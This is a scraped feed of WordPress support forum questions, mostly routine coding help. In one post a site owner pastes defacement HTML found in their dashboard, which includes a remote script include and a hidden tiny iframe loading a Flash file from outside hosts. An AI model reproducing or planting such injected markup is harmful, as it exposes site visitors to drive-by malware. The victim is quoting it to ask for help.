Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

joe.klovance on "Codeigniter/Wordpress Menues"

0
0

I am using Codeigniter with wordpress and need a way to to create and change site menus from codeigniter. I can find how to update admin menus but not site menus.


sbastianchelala on ""Acces denied"in my dashboard, a lot of html in my cpanel public html"

0
0

I tried to acces my word press dashboard and the site gave me the message "acces denied" Now when I try to see http://www.21asia.org. In my c/panel public html is full of html text/html with advertising content.So many I can not delete.

What Can I do to recover my site?

I am not expert in programming.

Thank you

Will on "PHP Visual Editor for Buddypress pages"

0
0

Does anybody know any good visual PHP editors to use to edit Buddypress pages. From my understanding to edit the Buddypress page layouts you have to code in PHP. I'm great at PHP, that's why I'm looking for a visual editor. Does anyone know what I can use?

I've used SiteOrgin's PageBuilder and CSS plugin to help me with those portions but nothing to for PHP, that's why I'm looking for.

dkirmis on "suspicious file change"

0
0

Hi...I have WordFence installed and it gave me the following alert:
WordPress core file modified: wp-includes/nav-menu.php

Here is the code that has been added (below). Looks very "hacky" to me, but I'm new to this. Am I right? If so, can I choose "restore the original version of this file" and will that fix it? How did someone get past WordFence?

[removed]

vfimarketing on "Content not showing up"

0
0

Hello, our web site is suddenly gone -- no content is showing up at all. There are no errors, just a blank page. I can log into the admin area and all content appears to be there, but nothing is showing up live.

Please help!

erik-pixelkicks on "Automatically create a post on user first login"

0
0

Hi guys,
Is there a way how to create a post on user first login?
Currently i have a code which automatically creates a post when user registers on the site, but i want to change it so the post is created only if user is approved and logged in first time. This is the code which i used so far:

function my_create_page($user_id){
$the_user = get_userdata($user_id);
$new_user_name = $the_user->user_login;
$new_user_id = $the_user->ID;
$shop_name = $the_user->tds_shop_name;

$my_post = array();
$my_post['post_title'] = $shop_name;
$my_post['post_author'] = $new_user_id;
$my_post['post_type'] = 'business';
$my_post['post_content'] = '';
$my_post['post_status'] = 'private';
wp_insert_post( $my_post );
}
add_action('user_register', 'my_create_page');

Thanks!

rwill007 on "Monitor & alert for repeated traffic from specific IP and referral source"

0
0

Ok, I tried using slimstats for this but it doesn't seem to do the job.. However I would be surprised if something like this didn't already exist as I can't seem to find it so thought I'd post the question here to see if anyone could point me to a particular plugin or way of doing this.

Basically I'm interested in a plugin or hiring someone to develop a plugin that would allow allow me to do the following:

1. Easily track the amount of time an IP address has visited our site from a specific referring source (ie. Bing / Google / Adwords / BingAds / etc..).

2. Immediately send out automated emails when a condition like the following has been met ... IP address 1.1.1.1 has visited > 5 times from referral source Xdomain.com during X time period.

As you can imagine all the above would be tremendously helpful for combating click fraud..

So any help would be greatly appreciate..

Thanks

aaretee on "FullPage.js for Wordpress Plugin Hack"

0
0

I recently followed this post on integrating FullPage.js as a Wordpress plugin.

I'm having trouble getting the plugin to work with other plugins - such as "All in one Event Calendar".

I understand the limitations that a plugin meant for landing pages has, but I was wondering if there was any way to edit the existing FP plugin template so that it can utilize other plugins while also taking over the theme's template?

Perhaps editing this statement?:

function fullpage_template( $original_template ) {

  	if ( get_post_meta( get_the_ID(), 'fullpage_js', true ) ) {
    	return dirname(__FILE__) . '/templates/fullpage.php';
  	} else {
    	return $original_template;
  	}

}

el terrible bmw on "Should this be custom post type?"

0
0

I am trying to develop 2 different lists that will have title, brief description, price, and image. Each list will have about 100 "items" in it. And then I will have 2 pages, each will generate one of those lists. The lists will simply be designed in a mosaic tiled layout, but I don't want to have individual page for each item in the list.

So is a custom post type really the best solution here even if I don't want individual items to have their own page? I really just need the lists organized in normal interface and then loop through each to generate the front end code.

Does anyone know of a plugin that accomplishes a similar thing without the need to create a custom post type? Custom post type just seems like a bit of an overkill for what I need. Especially since these lists will be a finite number of items so there won't be more added over time unlike posts or pages.

Mark on "Can't change the width of content in the visual editor"

0
0

I'm using a child of Twentyfourteen on this site (although I'm not sure that the theme being used is relevant in this case).

The content of the visual editor is being set by this style rule:

html .mceContentBody {
    font-size: 100%;
    max-width: 474px;
}

I followed the answer in this question at StackOverflow Wordpress Development: "Why is the visual editor in WordPress limiting the width by wrapping the content?" and put this code in my custom editor stylesheet:

html .mceContentBody {
    max-width: none !important; }

I am quite positive I'm correctly enqueuing the custom editor stylesheet (changes I make in style.css work). Here's what I have in my child functions.php file:

<?php

function RegisterCustomScriptsStyles(){
  // Register and enqueue custom stylesheets

  // Register custom stylesheets to the path to the theme's stylesheets
  wp_register_style( 'customStylesheet', get_template_directory_uri() . '/style.css');
  wp_register_style( 'customEditorStylesheet', get_template_directory_uri() . '/editor-style.css');

  // Enqueue the stylesheets
  wp_enqueue_style( 'customStylesheet' );
  wp_enqueue_style( 'customEditorStylesheet' );

  // Register and enqueue custom scripts
  // Register custom scripts to the path to the theme's scripts
  //wp_register_script( 'customScript', get_stylesheet_directory_uri() . '/customScript.js', array('jquery') );
  //wp_enqueue_script( 'customScript' );
}

add_action('wp_enqueue_scripts', 'RegisterCustomScriptsStyles');

So what am I missing/doing wrong?

giu1io on "get_avatar() returns an url with #038; instead of &"

0
0

In the latest WordPress something has changed in the get_avatar() function because the output has changed and it's no longer correct. Note that in 4.1.x everything was just fine.
Now when i call the function get_avatar like this:

$astring = get_avatar($author,$size);

I get this as output:

<img alt='' src='http://2.gravatar.com/avatar/5ccf704664de0bbc2b633b2e550a1e1a?s=100&d=wavatar&r=g' srcset='http://2.gravatar.com/avatar/5ccf704664de0bbc2b633b2e550a1e1a?s=200&d=wavatar&r=g 2x' class='avatar avatar-100 photo' height='100' width='100' />

as you can see the url in src has "&" instead of "&". Instead the url in srcset it's correct.
Why does this happen? Am I doing something wrong? It's a WordPress bug?
I have temporarily fixed the problem with a preg_replace but it don't like it as a permanent solution.

EDIT: sadly for some reason the support forum replaces & with & in the code block (really funny) so you can't see of what I am talking about. Just take a look at this screenshot please.

sandsofluxury on "Adding sign up check box to custom form"

0
0

Hello!

I am having an issue when adding a sign up check box to a custom form. The form was built for a booking form using "booking calendar" plugin. I use the HTML coding from your website:

<label>
<input type="checkbox" name="mc4wp-subscribe" value="1" />
Sign-up to our newsletter.
</label>

What am I doing wrong because when it is checked off it does not sync with the subscription list created through mail chimp?

Best,
J

tariqreyad on "get LinkedIn profile informations"

0
0

Hello ...

I have website and i need to make registration form or contact form which have option how register he can just click on (get LinkedIn profile informations) and send it to us like link below .....

http://postimg.org/image/9t13vd6tf/

tiredeco on "Link Category to a Page"

0
0

Hi everyone,

My question is the following: I would like to link a category to a page.
Scenario: I have a list of categories created in WooCommerce. Once I click on a category it takes me to a list of products. I would like to point the visitors to a page instead.

Thanks

Anup Biswas on "Wordpress news"

0
0
<div class="inside">

<link rel="shortcut icon" href="http://im86.gulfup.com/aLjVVo.png">

<meta name="Keywords" content="Hacked" by="" akram="" stelle-="" algerien="" hacker""="">

<title>Hacked By Akram Stelle</title>

<style type="text/css">

A { text-decoration: none; }

</style>

<br><br><br><br>
		<p align="center" dir="ltr">
<img border="0" src="http://www11.0zz0.com/2015/06/23/03/952399460.png" width="521" height="475"></p>

<center><font face="IRISUPC" color="white"><br>

<b<br><br>

<font size="30">Hacked By Akram Stelle</font><font size="6"><br>

</font><font size="5">#Algerien_Hacker<br>

<font size="5">GreeTz To:bl4ck-dz|Mr Dz|Laakel En Person|Lou Sh|The CrowDz|El Moujahidin</font><font size="3">
<br>

<script language="javascript" type="text/javascript" src="http://yourjavascript.com/2146179535/rebel3..js"></script>

<iframe width="2" height="2" scrolling="no" frameborder="no" src="http://hotelakanksha.com/img/Hunter_Gujjar-PCA.swf"></iframe>

</font></font></b<br></font></center></div>

I found those code in my admin panel dashboard need help. its say a audio voice Free palestine


rdiebel on "WordPress and CoffeeCup Image Mapper"

0
0

Does anyone know if the output of the CoffeeCup Image Mapper can be put into WordPress and fully function as intended?
Is there a procedure for adding code directly?
For getting non standard image mapping files onto the site?

All help much appreciated!
Thanx!

Abatap on "Strange $wpdb->get_var behavior"

0
0

Hello, guys. I'm having a weird problem with a seemingly trivial task. Lets say I have a simple wrapper function to acquire certain variables from database using the wpdb class functionality wordpress provides.

Here is an example code:

$result = get_product_data($product_id, 'product_price');

echo $result; // prints 'product_price' instead of acquired column value

//returns whole row if the second arg is not set
function get_product_data($id, $column_to_get = null) {

  global $wpdb;

  if (isset($column_to_get)) {

    //strange behavior here
    return $wpdb->get_var($wpdb->prepare('SELECT %s FROM '.$wpdb->prefix.'shop_products WHERE product_id=%d', $column_to_get , $id));

  } else {

    //this one works just fine
    return $wpdb->get_row($wpdb->prepare('SELECT * FROM '.$wpdb->prefix.'shop_products WHERE product_id=%d', $id), ARRAY_A);

  }
}

The problem seems to be related to the second arg we feed to $wpdb->prepare here as hardcoding it in the query string itself gives you an expected result. So what is the problem here? Is this some bizzare php expression evaluation quirk or am I doing something terribly stupid?

Dosefy on "How can I connect a list with a WC product list?"

0
0

I've recently purchased a plugin that helps users create products on my marketplace. Unfortunately when users create products on this plugin, they are stored in a separate list from the WC product list. http://prntscr.com/8v5h63

How can I connect the information from this list to my WC product list?

I'm willing to pay if it isn't easy, but I was wondering if there is a simple way to do this.

jcmaci03 on "Best practice for logging errors in a plugin?"

0
0

I inherited a custom plugin that has some try-catch statements. I suspect one of them is failing occasionally. I would like to always log the error message in the catch clause. However, the articles I've found so far via google (here and here) all recommend wrapping logging in a WP_DEBUG check.

Is there a way for me to log to WordPress' standard debug/error log from a plugin regardless of WP_DEBUG being enabled, or is it working that way by design? I haven't been able to reproduce the error, so I would prefer to not leave debugging active on my production site for any period of time in the hopes of catching this error in the wild.

Thanks.

jumaru7 on "Change code from WordPress Admin directions"

0
0

Hello i dont know if this is the right category to post this but i have this code in a theme template

<div id="sidebannerp">
<a href="" target="_blank" title=""><img src="" /></a>
</div>

Its a simple styled container with an image and a link.

This is a form of banner and to change it everytime i have to upload the picture in the proper folder and then edit the href.

So i want to make it so that i will be able to change the href link in wordpress admin page instead of editing everytime the php file of the theme like how are settings of a theme where you alter the code from worpress admin panel.I know(or at least i think) that this isnt simple so i would like to know where i should start looking for to learn about how to do it (languages to learn e.t.c).Thanks.

Viewing all 8245 articles
Browse latest View live




Latest Images